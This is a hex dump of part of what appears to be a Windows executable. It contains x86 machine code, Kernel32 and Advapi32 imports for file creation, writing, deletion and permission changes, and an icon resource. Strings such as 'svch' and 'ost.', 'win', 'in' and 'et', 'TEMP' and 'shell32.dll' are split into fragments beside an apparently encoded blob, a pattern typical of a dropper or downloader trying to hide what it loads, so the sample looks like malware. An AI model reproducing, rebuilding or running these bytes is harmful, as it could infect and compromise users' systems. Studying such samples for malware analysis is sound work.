000011a0 1d fc ff ff ff 8b 34 1d 0c 00 00 00 8b 3c 1d 08 |......4......<..|
000011b0 00 00 00 83 fe ff 0f 84 a5 00 00 00 8d 0c 76 8b |..............v.|
000011c0 44 8f 04 85 c0 74 6d 56 55 8d 2c 1d 10 00 00 00 |D....tmVU.,.....|
000011d0 31 db 31 c9 31 d2 31 f6 31 ff ff d0 5d 5e 8b 1c |1.1.1.1.1...]^..|
000011e0 2d 0c 00 00 00 85 c0 74 4b 78 5b 8b 3c 1d 08 00 |-......tKx[.<...|
000011f0 00 00 53 e8 a8 00 00 00 83 c4 04 8d 2c 1d 10 00 |..S.........,...|
00001200 00 00 56 53 e8 f7 00 00 00 83 c4 08 8d 0c 76 6a |..VS..........vj|
00001210 01 8b 44 8f 08 e8 af 01 00 00 8b 04 8f 89 04 1d |..D.............|
00001220 0c 00 00 00 8b 44 8f 08 31 db 31 c9 31 d2 31 f6 |.....D..1.1.1.1.|
00001230 31 ff ff d0 8b 3c 1d 08 00 00 00 8d 0c 76 8b 34 |1....<.......v.4|
00001240 8f e9 6d ff ff ff b8 00 00 00 00 eb 19 55 8d 2c |..m..........U.,|
00001250 1d 10 00 00 00 6a ff 53 e8 a3 00 00 00 83 c4 08 |.....j.S........|
00001260 5d b8 01 00 00 00 5d 5f 5e 5b 89 ec 5d c3 89 ff |].....]_^[..]...|
00001270 55 8b 4c 24 08 8b 2c 0d 00 00 00 00 8b 04 0d 1c |U.L$..,.........|
00001280 00 00 00 50 8b 04 0d 18 00 00 00 50 e8 6f 00 00 |...P.......P.o..|
00001290 00 83 c4 08 5d c2 04 00 90 8d bc 27 00 00 00 00 |....]......'....|
000012a0 55 89 e5 53 56 57 55 6a 00 6a 00 68 bc 1e 40 00 |U..SVWUj.j.h..@.|
000012b0 ff 34 2d 08 00 00 00 e8 34 01 00 00 5d 5f 5e 5b |.4-.....4...]_^[|
000012c0 89 ec 5d c3 8d bf 00 00 00 00 8d bf 00 00 00 00 |..].............|
000012d0 8b 4c 24 04 f7 04 0d 04 00 00 00 06 00 00 00 b8 |.L$.............|
000012e0 01 00 00 00 74 14 8b 44 24 08 8b 54 24 10 89 04 |....t..D$..T$...|
000012f0 15 00 00 00 00 b8 03 00 00 00 c3 90 8d 7c 27 00 |.............|'.|
00001300 53 56 57 8b 44 24 10 50 6a fe 68 d0 1e 40 00 64 |SVW.D$.Pj.h..@.d|
00001310 ff 35 00 00 00 00 64 89 25 00 00 00 00 8b 44 24 |.5....d.%.....D$|
00001320 20 8b 1c 05 08 00 00 00 8b 34 05 0c 00 00 00 83 | ........4......|
00001330 fe ff 74 39 83 7c 24 24 ff 74 06 3b 74 24 24 76 |..t9.|$$.t.;t$$v|
00001340 2c 8d 34 76 8b 0c b3 89 4c 24 08 89 0c 05 0c 00 |,.4v....L$......|
00001350 00 00 83 7c b3 04 00 75 c4 68 01 01 00 00 8b 44 |...|...u.h.....D|
00001360 b3 08 e8 62 00 00 00 ff 54 b3 08 eb b0 64 8f 05 |...b....T....d..|
00001370 00 00 00 00 83 c4 0c 5f 5e 5b c3 90 8d 7c 27 00 |......._^[...|'.|
00001380 31 c0 64 8b 0d 00 00 00 00 81 3c 0d 04 00 00 00 |1.d.......<.....|
00001390 d0 1e 40 00 75 1c 8b 14 0d 0c 00 00 00 8b 14 15 |..@.u...........|
000013a0 0c 00 00 00 39 14 0d 08 00 00 00 75 05 b8 01 00 |....9......u....|
000013b0 00 00 c3 8d bf 00 00 00 00 8d bc 27 00 00 00 00 |...........'....|
000013c0 53 51 bb 64 30 40 00 eb 0b 53 51 bb 64 30 40 00 |SQ.d0@...SQ.d0@.|
000013d0 8b 4c 24 0c 89 0c 1d 08 00 00 00 89 04 1d 04 00 |.L$.............|
000013e0 00 00 89 2c 1d 0c 00 00 00 59 5b c2 04 00 89 ff |...,.....Y[.....|
000013f0 ff 25 38 31 40 00 00 00 00 00 00 00 00 00 00 00 |.%81@...........|
00001400 ff ff ff ff 8b 19 40 00 8f 19 40 00 00 00 00 00 |......@...@.....|
00001410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001450 00 00 00 83 eb 00 88 fc 00 bf cb 00 b3 c3 00 eb |................|
00001460 d1 00 8b a4 00 db f4 00 65 5c 00 08 39 00 61 4f |........e\..9.aO|
00001470 00 05 37 00 10 22 00 78 48 00 fd d3 00 bb 88 00 |..7..".xH.......|
00001480 b9 8c 00 ef c1 00 7c 4d 00 24 11 00 23 1a 00 ea |......|M.$..#...|
00001490 c5 00 af c3 00 ed 82 00 97 fb 00 2a 18 00 87 a9 |...........*....|
000014a0 00 47 22 00 a0 d8 00 e3 86 00 8d a1 00 27 4f 00 |.G"..........'O.|
000014b0 ef 9b 00 2d 59 00 42 32 00 b0 8a 00 21 0e 00 c2 |...-Y.B2....!...|
000014c0 ed 00 62 5b 00 89 b8 00 9e b0 00 ff cd 00 56 64 |..b[..........Vd|
000014d0 00 4a 7a 00 b5 9b 00 27 14 00 09 3c 00 22 0c 00 |.Jz....'...<."..|
000014e0 a1 90 00 cb fe 00 e0 d9 00 c1 ee 00 0d 7d 00 e2 |.............}..|
000014f0 8d 00 32 56 00 56 78 00 70 15 00 39 41 00 7e 1b |..2V.Vx.p..9A.~.|
00001500 00 ae 82 00 1f 77 00 f3 87 00 29 5d 00 bb cb 00 |.....w....)]....|
00001510 ed d7 00 9b b4 00 05 2a 00 55 6c 00 98 a9 00 f7 |.......*.Ul.....|
00001520 d9 00 73 41 00 08 3a 00 dd ed 00 d3 fd 00 f3 c0 |..sA..:.........|
00001530 00 d7 e2 00 1f 31 00 0c 3d 00 1e 2b 00 b3 8a 00 |.....1..=..+....|
00001540 c8 e7 00 3c 4f 00 86 f6 00 bf d2 00 96 b8 00 fe |...<O...........|
00001550 9b 00 b3 cb 00 c6 a3 00 ef c3 00 00 00 00 00 00 |................|
00001560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001620 00 00 00 00 00 00 00 00 00 00 00 6f 70 65 6e 00 |...........open.|
00001630 5c 00 65 78 65 20 00 6e 40 1a 5d c8 62 95 3d 3f |\.exe .n@.].b.=?|
00001640 07 40 1c c2 78 94 3d 34 05 40 1e c1 62 d6 63 6a |.@..x.=4.@..b.cj|
00001650 06 40 48 8a 28 96 64 72 40 1e 17 dd 62 8b 35 35 |.@H.(.dr@...b.55|
00001660 1a 5f 1d c7 63 8b 3e 37 1a 5d 1e dd 3d d5 68 28 |._..c.>7.]..=.h(|
00001670 51 16 48 de 25 ce 78 76 0e 41 02 c3 74 89 22 37 |Q.H.%.xv.A..t."7|
00001680 04 5b 03 c3 7f 8b 22 35 07 41 5e 82 20 94 69 7e |.[...."5.A^. .i~|
00001690 51 42 00 77 69 6e 00 69 6e 00 65 74 2e 00 73 76 |QB.win.in.et..sv|
000016a0 63 68 00 64 6c 6c 00 00 00 00 00 00 00 00 00 00 |ch.dll..........|
000016b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001770 00 00 00 00 00 00 54 45 4d 50 00 73 68 65 6c 6c |......TEMP.shell|
00001780 33 32 2e 64 6c 6c 00 6f 73 74 2e 00 00 00 00 00 |32.dll.ost......|
00001790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000017d0 00 00 00 00 00 00 00 00 00 00 00 6b 65 72 6e 65 |...........kerne|
000017e0 6c 33 32 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 |l32.dll.........|
000017f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001a00 e8 23 40 00 db 23 40 00 8c 23 40 00 87 23 40 00 |.#@..#@..#@..#@.|
00001a10 7b 23 40 00 76 23 40 00 33 23 40 00 f2 22 40 00 |{#@.v#@.3#@.."@.|
00001a20 a7 22 40 00 a3 22 40 00 9e 22 40 00 06 34 6e 2d |."@.."@.."@..4n-|
00001a30 f2 4d ba 0c 9a 22 40 00 97 22 40 00 93 22 40 00 |.M..."@.."@.."@.|
00001a40 37 22 40 00 32 22 40 00 30 22 40 00 2b 22 40 00 |7"@.2"@.0"@.+"@.|
00001a50 eb 21 40 00 a4 21 40 00 5c 21 40 00 53 20 40 00 |.!@..!@.\!@.S @.|
00001a60 0d 20 40 00 20 05 93 19 00 00 00 00 00 00 00 00 |. @. ...........|
00001a70 00 00 00 00 b0 30 00 00 00 00 00 00 00 00 00 00 |.....0..........|
00001a80 20 32 00 00 fc 30 00 00 f4 30 00 00 00 00 00 00 | 2...0...0......|
00001a90 00 00 00 00 42 32 00 00 40 31 00 00 00 00 00 00 |....B2..@1......|
00001aa0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00001ab0 48 31 00 00 58 31 00 00 66 31 00 00 74 31 00 00 |H1..X1..f1..t1..|
00001ac0 88 31 00 00 9e 31 00 00 aa 31 00 00 b6 31 00 00 |.1...1...1...1..|
00001ad0 c4 31 00 00 d6 31 00 00 de 31 00 00 ec 31 00 00 |.1...1...1...1..|
00001ae0 fa 31 00 00 06 32 00 00 14 32 00 00 50 32 00 00 |.1...2...2..P2..|
00001af0 00 00 00 00 2e 32 00 00 00 00 00 00 48 31 00 00 |.....2......H1..|
00001b00 58 31 00 00 66 31 00 00 74 31 00 00 88 31 00 00 |X1..f1..t1...1..|
00001b10 9e 31 00 00 aa 31 00 00 b6 31 00 00 c4 31 00 00 |.1...1...1...1..|
00001b20 d6 31 00 00 de 31 00 00 ec 31 00 00 fa 31 00 00 |.1...1...1...1..|
00001b30 06 32 00 00 14 32 00 00 50 32 00 00 00 00 00 00 |.2...2..P2......|
00001b40 2e 32 00 00 00 00 00 00 00 00 4c 6f 61 64 4c 69 |.2........LoadLi|
00001b50 62 72 61 72 79 41 00 00 00 00 43 6c 6f 73 65 48 |braryA....CloseH|
00001b60 61 6e 64 6c 65 00 00 00 47 65 74 46 69 6c 65 54 |andle...GetFileT|
00001b70 79 70 65 00 00 00 47 65 74 4d 6f 64 75 6c 65 48 |ype...GetModuleH|
00001b80 61 6e 64 6c 65 41 00 00 00 00 47 65 74 4d 6f 64 |andleA....GetMod|
00001b90 75 6c 65 46 69 6c 65 4e 61 6d 65 41 00 00 00 00 |uleFileNameA....|
00001ba0 6c 73 74 72 63 70 79 41 00 00 00 00 6c 73 74 72 |lstrcpyA....lstr|
00001bb0 63 61 74 41 00 00 00 00 46 72 65 65 43 6f 6e 73 |catA....FreeCons|
00001bc0 6f 6c 65 00 00 00 47 65 74 43 6f 6d 6d 61 6e 64 |ole...GetCommand|
00001bd0 4c 69 6e 65 41 00 00 00 53 6c 65 65 70 00 00 00 |LineA...Sleep...|
00001be0 44 65 6c 65 74 65 46 69 6c 65 41 00 00 00 45 78 |DeleteFileA...Ex|
00001bf0 69 74 50 72 6f 63 65 73 73 00 00 00 6c 73 74 72 |itProcess...lstr|
00001c00 6c 65 6e 41 00 00 00 00 43 72 65 61 74 65 46 69 |lenA....CreateFi|
00001c10 6c 65 41 00 00 00 57 72 69 74 65 46 69 6c 65 00 |leA...WriteFile.|
00001c20 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c 00 00 00 00 |KERNEL32.dll....|
00001c30 53 65 74 46 69 6c 65 53 65 63 75 72 69 74 79 41 |SetFileSecurityA|
00001c40 00 00 41 44 56 41 50 49 33 32 2e 64 6c 6c 00 00 |..ADVAPI32.dll..|
00001c50 00 00 52 74 6c 55 6e 77 69 6e 64 00 00 00 00 00 |..RtlUnwind.....|
00001c60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001e00 00 00 00 00 15 d9 88 4d 00 00 00 00 00 00 02 00 |.......M........|
00001e10 03 00 00 00 20 00 00 80 0e 00 00 00 c0 00 00 80 |.... ...........|
00001e20 00 00 00 00 15 d9 88 4d 00 00 00 00 00 00 03 00 |.......M........|
00001e30 01 00 00 00 48 00 00 80 02 00 00 00 70 00 00 80 |....H.......p...|
00001e40 03 00 00 00 98 00 00 80 00 00 00 00 15 d9 88 4d |...............M|
00001e50 00 00 00 00 00 00 01 00 09 04 00 00 60 00 00 00 |............`...|
00001e60 00 41 00 00 a8 0e 00 00 00 00 00 00 00 00 00 00 |.A..............|
00001e70 00 00 00 00 15 d9 88 4d 00 00 00 00 00 00 01 00 |.......M........|
00001e80 09 04 00 00 88 00 00 00 a8 4f 00 00 a8 08 00 00 |.........O......|
00001e90 00 00 00 00 00 00 00 00 00 00 00 00 15 d9 88 4d |...............M|
00001ea0 00 00 00 00 00 00 01 00 09 04 00 00 b0 00 00 00 |................|
00001eb0 50 58 00 00 68 05 00 00 00 00 00 00 00 00 00 00 |PX..h...........|
00001ec0 00 00 00 00 15 d9 88 4d 00 00 00 00 00 00 01 00 |.......M........|
00001ed0 01 00 00 00 d8 00 00 80 00 00 00 00 15 d9 88 4d |...............M|
00001ee0 00 00 00 00 00 00 01 00 09 04 00 00 f0 00 00 00 |................|
00001ef0 b8 5d 00 00 30 00 00 00 00 00 00 00 00 00 00 00 |.]..0...........|
00001f00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 08 00 |(...0...`.......|
00001f10 00 00 00 00 00 09 00 00 00 00 00 00 00 00 00 00 |................|
00001f20 00 01 00 00 00 01 00 00 1a 06 52 00 82 82 82 00 |..........R.....|
00001f30 52 42 86 00 c2 c2 c2 00 0e 02 9e 00 52 4a b2 00 |RB..........RJ..|
00001f40 96 8e c2 00 2e 22 aa 00 e2 e2 e2 00 2a 1e 92 00 |....."......*...|
00001f50 b2 ae d2 00 76 6e ba 00 12 02 7e 00 7a 7a 7a 00 |....vn....~.zzz.|
00001f60 ca c6 e6 00 06 02 c2 00 52 46 9a 00 32 2e ca 00 |........RF..2...|
00001f70 22 16 7a 00 aa a6 d6 00 6e 6e d6 00 2a 1e 9e 00 |".z.....nn..*...|
00001f80 4e 4a e2 00 46 3a b2 00 d6 d6 e6 00 be ba de 00 |NJ..F:..........|
00001f90 a2 9e ca 00 f2 f2 f2 00 62 5a b6 00 4e 42 8e 00 |........bZ..NB..|
00001fa0 0a 02 b2 00 7e 7a ba 00 0e 02 92 00 a2 a2 a2 00 |....~z..........|
00001fb0 32 22 ba 00 ea e6 f2 00 ce ce e6 00 5e 52 a2 00 |2"..........^R..|
00001fc0 26 16 8a 00 a6 a6 e6 00 d2 d2 d2 00 1a 0e 9e 00 |&...............|
00001fd0 42 32 7e 00 a6 a2 ea 00 82 7a c2 00 12 02 76 00 |B2~......z....v.|
00001fe0 8a 86 de 00 06 02 d6 00 b2 ae da 00 d6 d6 ea 00 |................|
00001ff0 b6 b6 ea 00 9e 9a d6 00 62 5a c6 00 4e 42 8a 00 |........bZ..NB..|
00002000 52 4e c6 00 36 2e aa 00 ca ca e6 00 42 3e c6 00 |RN..6.......B>..|
00002010 fa fa fa 00 4e 42 96 00 1e 0e 92 00 26 16 62 00 |....NB......&.b.|
00002020 92 92 92 00 ca ca ca 00 0a 02 aa 00 92 8e ce 00 |................|
00002030 1e 0e 8a 00 4e 46 a6 00 2e 2e e2 00 26 16 86 00 |....NF......&...|
00002040 aa aa de 00 7a 76 e6 00 ba ba e2 00 ae ae ae 00 |....zv..........|
00002050 ee ee ee 00 3a 2e 92 00 da d6 f2 00 1a 06 5a 00 |....:.........Z.|
00002060 2e 22 b2 00 ea ea ea 00 72 6e c2 00 0e 02 86 00 |."......rn......|
00002070 16 0e ce 00 ae aa d6 00 26 1e ba 00 46 3e ba 00 |........&...F>..|
00002080 f2 f2 fa 00 6a 62 b2 00 52 46 8e 00 0a 02 ba 00 |....jb..RF......|
00002090 82 7a be 00 36 26 c2 00 ea ea f2 00 6a 5e aa 00 |.z..6&......j^..|
000020a0 26 1a 92 00 82 7e ca 00 de da ee 00 a2 9e d6 00 |&....~..........|
000020b0 3a 2e 9a 00 8a 8a 8a 00 52 46 82 00 c2 c2 d2 00 |:.......RF......|
000020c0 0a 02 a6 00 56 4e b2 00 92 8e ca 00 e6 e6 e6 00 |....VN..........|
000020d0 2a 1e 9a 00 be be be 00 6a 62 aa 00 c6 c6 ea 00 |*.......jb......|
000020e0 06 02 d2 00 7e 76 d2 00 2e 1e a6 00 62 5a ce 00 |....~v......bZ..|
000020f0 46 3e ae 00 c2 be da 00 a2 9e d2 00 66 5e b2 00 |F>..........f^..|
00002100 86 7e b6 00 0e 02 9a 00 aa aa aa 00 d6 d2 ee 00 |.~..............|
00002110 26 1a 8a 00 da da da 00 1a 0e aa 00 82 7e c2 00 |&............~..|
00002120 12 0e e2 00 d6 d6 ee 00 9e 9a da 00 1e 16 72 00 |..............r.|
00002130 3e 3a da 00 b6 b2 ea 00 62 56 be 00 de de de 00 |>:......bV......|
00002140 9a 9a 9a 00 56 4e ae 00 b6 b6 b6 00 72 6a a2 00 |....VN......rj..|
00002150 5e 5a da 00 32 2e d6 00 4e 42 a2 00 66 5a ca 00 |^Z..2...NB..fZ..|
00002160 52 4a ae 00 7e 7a da 00 5a 52 aa 00 be ba e6 00 |RJ..~z..ZR......|
00002170 1a 0e 9a 00 06 02 ca 00 8a 86 e6 00 06 02 de 00 |................|
00002180 c6 c6 c6 00 f6 f6 f6 00 a6 a6 a6 00 d6 d6 d6 00 |................|
00002190 fe fe fe 00 ce ce ce 00 3e 32 96 00 8e 8e 8e 00 |........>2......|
000021a0 22 1a 7e 00 32 26 be 00 d6 d2 e6 00 62 5e c2 00 |".~.2&......b^..|
000021b0 7a 7a e2 00 7a 72 c2 00 42 32 9a 00 b6 b2 d2 00 |zz..zr..B2......|
000021c0 52 46 8a 00 52 46 96 00 26 1a 86 00 f6 f6 fa 00 |RF..RF..&.......|
000021d0 0a 02 a2 00 56 4a b6 00 92 8e c6 00 0e 02 82 00 |....VJ..........|
000021e0 a6 a6 da 00 e6 e6 f6 00 3a 2e ae 00 ca ca ea 00 |........:.......|
000021f0 1a 0e 96 00 96 8e d2 00 32 22 b6 00 ee ea f6 00 |........2"......|
00002200 66 5e ae 00 1a 06 56 00 2e 22 ae 00 e2 e2 e6 00 |f^....V.."......|
00002210 2a 1e 96 00 2a 1e a2 00 a2 9e ce 00 4e 42 92 00 |*...*.......NB..|
00002220 0a 02 b6 00 0e 02 96 00 b2 ae de 00 5a 4e c6 00 |............ZN..|
00002230 4a 3e c6 00 0a 02 ae 00 1a 06 5e 00 0e 02 8a 00 |J>........^.....|
00002240 ae aa da 00 52 46 92 00 0a 02 be 00 36 26 c6 00 |....RF......6&..|
00002250 52 46 86 00 46 3e b2 00 c2 be de 00 66 5e b6 00 |RF..F>......f^..|
00002260 26 1a 8e 00 1a 0e ae 00 82 7e c6 00 3e 3a de 00 |&........~..>:..|
00002270 82 7a ba 00 da d6 ea 00 a2 9a d6 00 52 42 8a 00 |.z..........RB..|
00002280 ce ca e6 00 be ba e2 00 76 6e c2 00 ca c6 ea 00 |........vn......|
00002290 2a 1a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 |*...............|
000022a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00002320 00 00 00 00 00 00 00 00 db db db db db db db db |................|
00002330 db db db db db db db db db db db db db db db db |................|
*
00002390 db db db 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000023a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000023b0 00 00 00 00 00 00 db db db db db db db db db db |................|
000023c0 db db db 00 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a |................|
000023d0 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a |................|
000023e0 9a 9a 9a 9a 9a 00 db db db db db db db db db db |................|
000023f0 db db db 00 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a |................|
00002400 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a |................|
00002410 9a 9a 9a 9a 9a 00 db db db db db db db db db db |................|
00002420 db db db b7 3a 3a 3a 3a 0a 76 73 9a 9a 9a 9a 9a |....::::.vs.....|
00002430 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a |................|
00002440 9a 9a 9a 9a 9a 00 db db db db db db db db db db |................|
00002450 db db db b7 3a 3a 3a 06 2d 2d 2d 1a 3a 3a 3a 3a |....:::.---.::::|
00002460 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a |................|
00002470 9a 9a 9a 9a 9a b7 db db db db db db db db db db |................|
00002480 db db db 4d 3a 3a 3a 0a 0c 5d 4b 0c 1a 3a 3a 3a |...M:::..]K..:::|
00002490 3a 3a 3a 3a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a |::::............|
000024a0 9a 9a 9a 9a 9a 3d db db db db db db db db db db |.....=..........|
000024b0 db db db 4d 3a 3a 3a 3a b6 ad ac 42 42 24 3a 3a |...M::::...BB$::|
000024c0 3a 3a 3a 3a 3a 3a 3a 3a 9a 9a 9a 9a 9a 9a 9a 9a |::::::::........|
000024d0 9a 9a 9a 9a 9a 64 db db db db db db db db db db |.....d..........|
000024e0 db db db 4d 3a 3a 3a 3a 3a 75 51 0b 51 62 3a 3a |...M:::::uQ.Qb::|
000024f0 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 9a 9a 9a 9a 9a |:::::::::::.....|
00002500 9a 9a 9a 9a 9a 64 db db db db db db db db db db |.....d..........|
00002510 db db db 4d 3a 3a 3a 3a 3a 3a 53 3c ba c5 68 3a |...M::::::S<..h:|
00002520 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 9a 9a 9a |:::::::::::::...|
00002530 9a 9a 9a 9a 9a 02 db db db db db db db db db db |................|
00002540 db db db c4 3a 3a 3a 3a 3a 3a 3a 23 2c b2 b2 53 |....:::::::#,..S|
00002550 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a cc cc 24 |:::::::::::::..$|
00002560 9a 9a 9a 9a 9a 02 db db db db db db db db db db |................|
00002570 db db db 2a 97 97 97 97 97 97 97 3a 3a 19 20 20 |...*.......::. |
00002580 92 67 41 d6 3a 3a 3a 3a 3a 5c 74 87 c5 c5 51 51 |.gA.:::::\t...QQ|
00002590 74 3a 9a 9a 9a 02 db db db db db db db db db db |t:..............|
000025a0 db db db 02 97 97 97 97 97 97 97 97 97 97 72 77 |..............rw|
000025b0 c6 5f 37 bf bf 72 50 41 d0 92 20 b2 cd 30 5c 68 |._7..rPA.. ..0\h|
000025c0 75 3a 3a 3a 9a 02 db db db db db db db db db db |u:::............|
000025d0 db db db 02 97 97 97 97 97 97 97 97 97 97 38 04 |..............8.|
000025e0 cb 97 97 23 c6 50 29 77 77 bf bf bf 20 20 20 20 |...#.P)ww... |
000025f0 30 3a 3a 3a 3a 02 db db db db db db db db db db |0::::...........|
00002600 db db db 35 97 97 97 97 97 97 97 97 97 97 97 a1 |...5............|
00002610 aa 48 97 97 97 33 04 04 5f d7 33 5f 5f 5f 61 60 |.H...3.._.3___a`|
00002620 3a 3a 3a 3a 3a a6 db db db db db db db db db db |:::::...........|
00002630 db db db 35 1b 1b 1b 1b 1b 97 97 97 97 97 97 31 |...5...........1|
00002640 66 55 97 97 33 66 7c 38 97 97 3a 3a 3a 3a 3a 3a |fU..3f|8..::::::|
00002650 3a 3a 3a 3a 3a a6 db db db db db db db db db db |:::::...........|
00002660 db db db 35 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 97 |...5............|
00002670 34 40 48 0e 40 cf 0e 97 97 97 97 97 3a 3a 3a 3a |4@H.@.......::::|
00002680 3a 3a 3a 3a 3a a6 db db db db db db db db db db |:::::...........|
00002690 db db db 35 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b |...5............|
000026a0 31 1e 36 54 c3 46 97 97 97 97 97 97 97 97 3a 3a |1.6T.F........::|
000026b0 3a 3a 3a 3a 3a a6 db db db db db db db db db db |:::::...........|
000026c0 db db db 1d 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b |................|
000026d0 1b 71 be 1e 39 1b 97 97 97 97 97 97 97 97 97 97 |.q..9...........|
000026e0 3a 3a 3a 3a 3a 58 db db db db db db db db db db |:::::X..........|
000026f0 db db db 1d 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b |................|
00002700 1b 6d 59 59 6d 1b 1b 1b 97 97 97 97 97 97 97 97 |.mYYm...........|
00002710 97 97 3a 3a 3a 58 db db db db db db db db db db |..:::X..........|
00002720 db db db 1d 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b |................|
00002730 1b 6d c8 11 1b 1b 1b 1b 1b 1b 97 97 97 97 97 97 |.m..............|
00002740 97 97 97 3a 3a 58 db db db db db db db db db db |...::X..........|
00002750 db db db 1d 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b |................|
00002760 1b 2e 0f 0f 1b 1b 1b 1b 1b 1b 1b 1b 97 97 97 97 |................|
00002770 97 97 97 97 97 58 db db db db db db db db db db |.....X..........|
00002780 db db db 1d 4a 4a 4a 4a 4a 1b 1b 1b 1b 1b 1b 1b |....JJJJJ.......|
00002790 1b 8a 93 93 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 97 97 |................|
000027a0 97 97 97 97 97 c7 db db db db db db db db db db |................|
000027b0 db db db 1d 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 1b |....JJJJJJJJJJJ.|
000027c0 1b 8b 52 8b 79 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b |..R.y...........|
000027d0 97 97 97 97 97 c7 db db db db db db db db db db |................|
000027e0 db db db bd 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a |....JJJJJJJJJJJJ|
000027f0 4a 6e 82 a2 32 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b |Jn..2...........|
00002800 1b 97 97 97 97 bd db db db db db db db db db db |................|
00002810 db db db bd 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a |....JJJJJJJJJJJJ|
00002820 4a 2f d1 83 27 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b 1b |J/..'...........|
00002830 1b 1b 1b 97 97 bd db db db db db db db db db db |................|
00002840 db db db bd 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a |....JJJJJJJJJJJJ|
00002850 4a 95 16 94 47 4a 4a 1b 1b 1b 1b 1b 1b 1b 1b 1b |J...GJJ.........|
00002860 1b 1b 1b 1b 97 3b db db db db db db db db db db |.....;..........|
00002870 db db db 3b 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a |...;JJJJJJJJJJJJ|
00002880 4a 7e 44 7e 2b 4a 4a 4a 4a 1b 1b 1b 1b 1b 1b 1b |J~D~+JJJJ.......|
00002890 1b 1b 1b 1b 1b 3b db db db db db db db db db db |.....;..........|
000028a0 db db db 3b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b |...;{{{{{{{{{{{{|
000028b0 7b ae 14 8f 7b 7b 7b 7b 4f 4a 1b 1b 1b 1b 1b 1b |{...{{{{OJ......|
000028c0 1b 1b 1b 1b 1b a7 db db db db db db db db db db |................|
000028d0 db db db 3b 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f |...;????????????|
000028e0 3f 3f 3f 3f 3f 3f 3f 9b 99 4a 4a 4a 4a 4a 4a 4a |???????..JJJJJJJ|
000028f0 4a 4a 4a 4a 1b a7 db db db 81 81 81 81 81 81 81 |JJJJ............|
00002900 81 81 81 81 81 81 81 81 81 81 81 81 81 81 81 81 |................|
00002910 81 81 81 81 81 81 81 81 81 4a 4f 4f 4f 69 08 08 |.........JOOOi..|
00002920 08 08 69 69 4f 10 db db db 12 7a 7a 7a 7a 7a 7a |..iiO.....zzzzzz|
00002930 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a |zzzzzzzzzzzzzzzz|
00002940 7a 7a 7a 7a 7a 7a 7a 7a 12 4f 69 08 85 7b 99 28 |zzzzzzzz.Oi..{.(|
00002950 28 28 99 7b 08 10 db db db 9e 5e 5e 5e 5e 5e 5e |((.{......^^^^^^|
00002960 5e 5e 7a 5e 5e 5e 5e 7a 7a 7a ce 5e 5e 7a 5e 5e |^^z^^^^zzz.^^z^^|
00002970 5e 5e 5e 5e 5e 5e 5e 5e 9e 69 08 7b 28 3f 03 6b |^^^^^^^^.i.{(?.k|
00002980 6b 6b 03 3f 99 6c db db db a8 ba ba ba ba ba ba |kk.?.l..........|
00002990 ba ba 9a ba ba ba ba 9a 9a 0e 43 ba ba 9a ba ba |..........C.....|
000029a0 ba ba ba ba ba ba ba ba a8 08 7b 9b 03 88 78 21 |..........{...x!|
000029b0 21 98 78 88 99 25 db db db 7a 6a 6a 6a 6a 6a 6a |!.x..%...zjjjjjj|
000029c0 6a 6a 9a 09 09 6a 6a 9a 8e 0e 19 6a 6a 9a 6a 6a |jj...jj....jj.jj|
000029d0 6a 6a 6a 6a 6a 6a 6a 6a 7a 85 28 03 49 21 3e 63 |jjjjjjjjz.(.I!>c|
000029e0 63 9d 86 49 a5 a8 db db db 5e 15 15 15 15 15 15 |c..I.....^......|
000029f0 15 15 9a 9a 56 a3 15 9a 15 05 9a 15 15 9a 6a 6a |....V.........jj|
00002a00 15 15 15 15 15 15 15 15 5e 7b 3f 88 21 9d 01 0d |........^{?.!...|
00002a10 0d 01 21 18 a0 45 db db db 6a 70 70 70 70 70 70 |..!..E...jpppppp|
00002a20 70 70 9a b0 b3 56 70 9a 70 70 9a 70 70 9a 9a 9a |pp...Vp.pp.pp...|
